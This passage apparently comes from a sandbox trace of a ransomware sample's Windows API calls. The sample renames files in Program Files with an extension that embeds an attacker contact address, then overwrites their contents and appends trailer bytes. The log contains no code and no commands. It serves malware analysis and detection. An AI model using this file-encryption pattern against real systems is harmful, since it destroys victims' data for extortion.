hFindFile=0x6d4ec0) returned 1 [0216.762] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\da-dk\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0216.762] GetProcessHeap () returned 0x630000 [0216.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e1ea0 [0216.762] GetProcessHeap () returned 0x630000 [0216.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e21d0 [0216.762] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.762] ReadFile (in: hFile=0x6a4, lpBuffer=0x6e1ea0, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e1ea0*, lpNumberOfBytesRead=0x64bff0c*=0x160, lpOverlapped=0x0) returned 1 [0216.765] GetProcessHeap () returned 0x630000 [0216.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0216.765] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.765] WriteFile (in: hFile=0x6a4, lpBuffer=0x6e21d0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e21d0*, lpNumberOfBytesWritten=0x64bff0c*=0x160, lpOverlapped=0x0) returned 1 [0216.765] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.765] WriteFile (in: hFile=0x6a4, lpBuffer=0x6e232f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e232f*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.765] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.765] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.765] CloseHandle (hObject=0x6a4) returned 1 [0216.765] GetProcessHeap () returned 0x630000 [0216.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e21d0 | out: hHeap=0x630000) returned 1 [0216.765] GetProcessHeap () returned 0x630000 [0216.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e1ea0 | out: hHeap=0x630000) returned 1 [0216.765] GetProcessHeap () returned 0x630000 [0216.765] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0216.765] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.766] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\da-DK\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4726b008, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x64bfd20, dwReserved1=0x6e1ea0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5380 [0216.766] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0216.766] Sleep (dwMilliseconds=0x1) [0218.354] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x64bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml") returned 1 [0218.354] GetProcessHeap () returned 0x630000 [0218.354] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5078) returned 0x6fe3bb0 [0218.354] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0218.355] CloseHandle (hObject=0x4e0) returned 1 [0218.355] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0218.355] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0218.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1a3, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5340 [0218.357] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0218.357] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-co\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0 [0218.357] GetProcessHeap () returned 0x630000 [0218.357] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa090 [0218.357] GetProcessHeap () returned 0x630000 [0218.357] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa618 [0218.357] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.357] ReadFile (in: hFile=0x4e0, lpBuffer=0x74aa090, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa090*, lpNumberOfBytesRead=0x64bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.359] GetProcessHeap () returned 0x630000 [0218.359] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0218.360] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.360] WriteFile (in: hFile=0x4e0, lpBuffer=0x74aa618*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa618*, lpNumberOfBytesWritten=0x64bff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0218.360] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.360] WriteFile (in: hFile=0x4e0, lpBuffer=0x74aa7b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa7b7*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0218.360] SetFilePointerEx (in: hFile=0x4e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.360] WriteFile (in: hFile=0x4e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0218.360] CloseHandle (hObject=0x4e0) returned 1 [0218.360] GetProcessHeap () returned 0x630000 [0218.360] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa618 | out: hHeap=0x630000) returned 1 [0218.360] GetProcessHeap () returned 0x630000 [0218.360] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa090 | out: hHeap=0x630000) returned 1 [0218.360] GetProcessHeap () returned 0x630000 [0218.360] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0218.360] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0218.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-CO\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x481a047b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c7, dwReserved0=0x64bfd20, dwReserved1=0x74aa090, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d51c0 [0218.361] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0218.361] Sleep (dwMilliseconds=0x1) [0219.915] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html", len=0x6f | out: pbstr=0x64bff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html") returned 1 [0219.915] GetProcessHeap () returned 0x630000 [0219.915] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50a0) returned 0x6fe3bb0 [0219.915] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\index.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0219.915] CloseHandle (hObject=0x6a8) returned 1 [0219.915] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0219.916] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\index.html"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\index.html.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0219.930] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0219.930] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3415f200, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d5500 [0219.930] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0219.930] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\fr-ch\\index.html.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0219.930] GetProcessHeap () returned 0x630000 [0219.930] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7a1) returned 0x746bd68 [0219.930] GetProcessHeap () returned 0x630000 [0219.930] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa7a1) returned 0x72d3518 [0219.930] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.931] ReadFile (in: hFile=0x6a8, lpBuffer=0x746bd68, nNumberOfBytesToRead=0xa780, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x746bd68*, lpNumberOfBytesRead=0x64bff0c*=0xa780, lpOverlapped=0x0) returned 1 [0224.712] GetProcessHeap () returned 0x630000 [0224.712] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0224.712] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.712] WriteFile (in: hFile=0x6a8, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0xa780, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x64bff0c*=0xa780, lpOverlapped=0x0) returned 1 [0225.511] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.511] WriteFile (in: hFile=0x6a8, lpBuffer=0x72ddc97*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72ddc97*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.741] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.741] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.741] CloseHandle (hObject=0x6a8) returned 1 [0225.741] GetProcessHeap () returned 0x630000 [0225.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0225.741] GetProcessHeap () returned 0x630000 [0225.741] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x746bd68 | out: hHeap=0x630000) returned 1 [0225.742] GetProcessHeap () returned 0x630000 [0225.742] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0226.661] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.661] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\fr-CH\\index.html.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2c9637, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f2c9637, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c7f5824, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xa7bc, dwReserved0=0x9647496, dwReserved1=0x746bd60, cFileName="index.html.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INDEXH~1.FIR")) returned 0x6d4f00 [0226.661] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0226.661] Sleep (dwMilliseconds=0x1) [0226.666] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui", len=0x3c | out: pbstr=0x64bff7c*="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui") returned 1 [0226.666] GetProcessHeap () returned 0x630000 [0226.666] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5220) returned 0x6fe3bb0 [0226.666] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\en-US\\setup_wm.exe.mui" (normalized: "c:\\program files\\windows media player\\en-us\\setup_wm.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0226.678] Sleep (dwMilliseconds=0x1) [0226.692] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl", len=0x3f | out: pbstr=0x64bff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl") returned 1 [0226.692] GetProcessHeap () returned 0x630000 [0226.692] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x519c) returned 0x6fe3bb0 [0226.692] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0226.705] CloseHandle (hObject=0x6a0) returned 1 [0226.705] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.705] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.005.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.005.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.733] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x74f27e5, ftLastAccessTime.dwHighDateTime=0x1d3aafc, ftLastWriteTime.dwLowDateTime=0xb20ade5, ftLastWriteTime.dwHighDateTime=0x1d3aafc, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.005.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UN7985~1.FIR")) returned 0x6d5000 [0226.762] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0226.762] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.005.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a0 [0226.764] GetProcessHeap () returned 0x630000 [0226.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7421008 [0226.765] GetProcessHeap () returned 0x630000 [0226.765] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x742c438 [0226.765] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.765] ReadFile (in: hFile=0x6a0, lpBuffer=0x7421008, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7421008*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.065] GetProcessHeap () returned 0x630000 [0233.065] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318328 [0233.065] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.065] WriteFile (in: hFile=0x6a0, lpBuffer=0x742c438*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x742c438*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.666] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.666] WriteFile (in: hFile=0x6a0, lpBuffer=0x7437837*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7437837*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0233.974] SetFilePointerEx (in: hFile=0x6a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.974] WriteFile (in: hFile=0x6a0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0233.974] CloseHandle (hObject=0x6a0) returned 1 [0234.811] GetProcessHeap () returned 0x630000 [0234.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x742c438 | out: hHeap=0x630000) returned 1 [0234.811] GetProcessHeap () returned 0x630000 [0234.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7421008 | out: hHeap=0x630000) returned 1 [0234.811] GetProcessHeap () returned 0x630000 [0234.811] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318328 | out: hHeap=0x630000) returned 1 [0235.723] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.005.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd3f87c1, ftCreationTime.dwHighDateTime=0x1d327b4, 